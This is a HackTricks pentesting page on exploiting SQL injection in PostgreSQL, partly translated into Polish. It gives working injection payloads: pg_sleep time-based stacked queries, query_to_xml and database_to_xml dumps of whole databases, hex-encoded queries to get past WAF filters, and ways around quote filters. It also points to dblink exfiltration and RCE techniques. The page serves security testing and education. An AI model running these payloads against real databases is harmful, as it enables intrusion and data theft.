hacktricks/pentesting-web/sql-injection/postgresql-injection
2024-12-12 13:54:31 +01:00
..
big-binary-files-upload-postgresql.md Recreating repository history for branch pl 2024-12-12 13:54:31 +01:00
dblink-lo_import-data-exfiltration.md Recreating repository history for branch pl 2024-12-12 13:54:31 +01:00
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md Recreating repository history for branch pl 2024-12-12 13:54:31 +01:00
pl-pgsql-password-bruteforce.md Recreating repository history for branch pl 2024-12-12 13:54:31 +01:00
rce-with-postgresql-extensions.md Recreating repository history for branch pl 2024-12-12 13:54:31 +01:00
rce-with-postgresql-languages.md Recreating repository history for branch pl 2024-12-12 13:54:31 +01:00
README.md Recreating repository history for branch pl 2024-12-12 13:54:31 +01:00

PostgreSQL injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

If you are interested in hacking career and hack the unhackable - we are hiring! (wymagana biegła znajomość języka polskiego w mowie i piśmie).

{% embed url="https://www.stmcyber.com/careers" %}


This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration

The PostgreSQL module dblink offers capabilities for connecting to other PostgreSQL instances and executing TCP connections. These features, combined with the COPY FROM functionality, enable actions like privilege escalation, port scanning, and NTLM challenge response capture. For detailed methods on executing these attacks check how to perform these attacks.

You can read this example to see a CTF example of how to load data inside large objects and then exfiltrate the content of large objects inside the username of the function dblink_connect.

PostgreSQL Attacks: Read/write, RCE, privesc

Check how to compromise the host and escalate privileges from PostgreSQL in:

{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}

WAF bypass

PostgreSQL String functions

Manipulating strings could help you to bypass WAFs or other restrictions.
In this page you can find some useful Strings functions.

Stacked Queries

Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML triki

query_to_xml

Ta funkcja zwróci wszystkie dane w formacie XML w zaledwie jednym pliku. Jest idealna, jeśli chcesz zrzucić dużo danych w zaledwie 1 wierszu:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Ta funkcja zrzuci całą bazę danych w formacie XML w zaledwie 1 wierszu (bądź ostrożny, jeśli baza danych jest bardzo duża, ponieważ możesz spowodować DoS lub nawet swojego własnego klienta):

SELECT database_to_xml(true,true,'');

Strings in Hex

Jeśli możesz uruchamiać zapytania przekazując je w obrębie ciągu (na przykład używając funkcji query_to_xml). Możesz użyć convert_from, aby przekazać ciąg jako hex i w ten sposób obejść filtry:

{% code overflow="wrap" %}

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

{% endcode %}

Zabronione cudzysłowy

Jeśli nie możesz użyć cudzysłowów dla swojego ładunku, możesz to obejść za pomocą CHR dla podstawowych klauzul (konkatenacja znaków działa tylko dla podstawowych zapytań, takich jak SELECT, INSERT, DELETE, itp. Nie działa dla wszystkich instrukcji SQL):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Lub z $. Te zapytania zwracają te same wyniki:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Jeśli jesteś zainteresowany karierą w hackingu i chcesz złamać to, co nie do złamania - zatrudniamy! (wymagana biegła znajomość polskiego w mowie i piśmie).

{% embed url="https://www.stmcyber.com/careers" %}

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks
{% endhint %}